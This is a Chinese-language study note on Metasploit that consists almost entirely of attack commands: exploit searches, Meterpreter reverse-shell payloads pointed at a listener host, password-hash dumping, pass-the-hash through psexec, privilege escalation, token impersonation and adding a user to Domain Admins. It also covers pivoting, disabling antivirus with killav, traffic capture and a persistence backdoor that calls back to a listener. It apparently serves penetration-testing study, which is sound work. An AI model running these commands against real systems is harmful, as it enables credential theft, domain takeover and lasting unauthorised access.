Metasploit学习之渗透攻击之旅

渗透攻击之旅

渗透攻击基础

1. Metasploit框架中包含数百个模块，在MSF终端中运行show命令可以把所有模块显示出来。
2. 命令：
   show exploits 显示所有可用的渗透攻击模块
   show auxiliary 显示所有的辅助模块以及它们的用途
   show options 显示各个模块正确运行所需的各种设置。
   show payloads 显示与当前模块兼容的攻击载荷。
   show targets 显示收到漏洞影响目标系统的类型

渗透流程

1. nmap -sT -A --script=smb-check-vulns =Po xx.xx.xx.xx
2. search ms08_067_netapi

全端口攻击载荷：暴力猜解目标开放的端口

set payload windows/meterpreter/reverse_tcp_allports

Meterpreter

screeshot截屏
sysinfo获取系统运行的平台
ps获取目标系统正在运行的进程
migrate 1668将会话迁移至其他进程空间

挖掘用户名和密码

1. 提取密码哈希值
2. use priv
3. run post/windows/gather/hashdump
4. 传递哈希值
5. use windows/smb/psexec
6. set payload windows/meterpreter/reverse_tcp
7. set lhost 11.11.11.11
8. set lport 443
9. set rhost 11.11.11.11
10. set SMBPass aaddxxxxxxxx
11. exploit

权限提升

1. use priv
2. getsystem
3. getuid

令牌假冒

1. ps
2. steal_token 380 380是PID参数
3. use incognito通过这个命令加载incognito模块
4. list_tokens -u
5. impersonate_token SNEAKS.IN\\ihazdomainadmin
6. add_user join 123456 -h 192.168.33.50添加新用户
7. add_group_user "Domain Admins" join -h 192.168.33.50赋予管理员权限

通过跳板攻击其他机器

1. run get_local_subnets
2. run autoroute -s 192.168.33.0/24
3. 使用arp_sweep辅助模块对内网存活主机进行扫描

使用Meterpreter脚本

1. run vnc 在远程系统上安装VNC会话
2. run screen_unlock这里将得到目标主机的VNC图形界面接口
3. run post/windows/manage/migrate 迁移进程
4. run killav关闭杀毒软件
5. run hashdump 获取系统密码哈希值
6. run packetrecorder -i 1 查看目标机上的所有流量
7. run scraper 攫取系统信息
8. run persistence -X -i 50 -p 443 -r 192.168.33.129

向后渗透模块转变

1. run post/windows/gather/hashdump 获取密码哈希值

将命令行shell升级为Meterpreter

1. sessions -u 1